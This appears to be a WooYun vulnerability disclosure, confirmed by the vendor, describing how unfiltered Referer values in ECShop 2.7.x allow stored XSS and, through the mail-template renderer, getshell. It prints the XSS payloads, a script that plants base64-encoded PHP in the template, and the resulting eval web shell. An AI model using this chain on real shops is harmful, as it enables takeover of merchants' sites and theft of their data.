当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(74) 关注此漏洞

缺陷编号: WooYun-2014-82152

漏洞标题: ecshop过滤不严导致上万网店可被getshell(需一定条件)

相关厂商: ShopEx

漏洞作者: Flow

提交时间: 2014-11-05 19:09

公开时间: 2014-12-20 19:10

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: webshell 设计缺陷/边界绕过 webshell webshell

14人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-05: 细节已通知厂商并且等待厂商处理中
2014-11-06: 厂商已经确认,细节仅向厂商公开
2014-11-16: 细节向核心白帽子及相关领域专家公开
2014-11-26: 细节向普通白帽子公开
2014-12-06: 细节向实习白帽子公开
2014-12-20: 细节向公众公开

简要描述:

我这里测试的是v2.7.3 和v2.7.4版本,都成功,目测其他版本也可以getshell

详细说明:

1.includes/lib_main.php过滤不严导致XSS

看代码

code 区域
function visit_stats()
{
if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')
{
return;
}
$time = gmtime();
/* 检查客户端是否存在访问统计的cookie */
$visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;
setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/');

$browser = get_user_browser();
$os = get_os();
$ip = real_ip();
$area = ecs_geoip($ip);

/* 语言 */
if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))
{
$pos = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');
$lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);
}
else
{
$lang = '';
}

/* 来源 */
if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)
{
$pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//
if ($pos !== false)
{
$domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);
$path = substr($_SERVER['HTTP_REFERER'], $pos);

/* 来源关键字 */
if (!empty($domain) && !empty($path))
{
save_searchengine_keyword($domain, $path);
}
}
else
{
$domain = $path = '';
}
}
else
{
$domain = $path = '';
}

$sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .
'ip_address, visit_times, browser, system, language, area, ' .
'referer_domain, referer_path, access_url, access_time' .
') VALUES (' .
"'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".
"'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";
$GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签
}





取出时也没有过滤,于是产生漏洞

我们来构造一下REFERER

访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/

提交,如图,

1.png



管理员查看流量分析时触发,如图

2.png



3.png



2.打cookie多没意思,咱们getshell吧



构造Referer值为--></script>/

提交

再次构造Referer值为'></graph>"><script src="http:\\\\127.0.0.1\\demo.js"><!--/

提交(src后面的js地址必须用反斜杠)

demo.js内容为

code 区域
Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/
Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&email=vip@ecshop.com', a , "POST", "JSON");/*前台取回密码.这里的vip和vip@ecshop.com为前台会员帐号和邮箱,我懒得注册了就用这个测试*/
function a(){
alert('');
}



触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>



这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码

漏洞在includes\cls_template.php的fetch_str()函数

code 区域
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);//过滤了部分php关键词

if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}

return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}



我们可以构造代码到取回邮件模板:

code 区域
{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<?



执行取回操作即可绕过过滤执行我们构造的代码

漏洞证明:

修复方案:

你们比我更懂

版权声明:转载请注明来源 Flow@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-11-06 10:16

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-11-05 19:11 | U神 ( 核心白帽子 | Rank:1360 漏洞数:93 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    1

    我擦,好久没有看到ecshop的了,什么条件/

  2. 2014-11-05 19:36 | Power ( 实习白帽子 | Rank:78 漏洞数:24 )
    0

    mark

  3. 2014-11-05 19:46 | px1624 ( 普通白帽子 | Rank:1108 漏洞数:189 | px1624)
    0

    这个没闪电?

  4. 2014-11-05 20:32 | 糖剩七颗 ( 普通白帽子 | Rank:674 漏洞数:62 | 天涯何处无屌丝)
    0

    目测钱又到位了

  5. 2014-11-05 21:10 | 0x7575 ( 实习白帽子 | Rank:62 漏洞数:15 )
    0

    我去 感觉很久没看到ecshop了

  6. 2014-11-05 21:30 | Well ( 路人 | Rank:13 漏洞数:2 | 专注python Web渗透)
    0

    钱已经到位~~……

  7. 2014-11-05 22:07 | ki11y0u ( 普通白帽子 | Rank:140 漏洞数:19 | 好好学习,求带飞 ~~~~~~~~~~~~~~~~~~~~~~...)
    1

    mark ,

  8. 2014-11-06 01:58 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
    0

    闪电呢?钱呢?

  9. 2014-11-06 07:44 | 默秒全 ( 路人 | Rank:2 漏洞数:2 | a....)
    0

    这个要马

  10. 2014-11-06 09:34 | sysALong ( 普通白帽子 | Rank:346 漏洞数:26 | 在我们黑龙江这噶哒,就没有什么事是【撸串...)
    1

    少年需要的条件是:Magic_Quotes_Gpc:On 我叫雷锋不谢。

  11. 2014-11-06 13:31 | pigzhu ( 路人 | Rank:4 漏洞数:4 | 网络共享!)
    0

    有防火墙的情况下 可以吗?求详情

  12. 2014-11-06 14:38 | pandas ( 普通白帽子 | Rank:701 漏洞数:51 | 国家一级保护动物)
    0

    @sysALong 这么奇葩,需要gpc开着?你确定?

  13. 2014-11-21 22:50 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:196 | Only Code Never Lie To Me.)
    0

    原来是xss。。。

登录后才能发表评论,请先 登录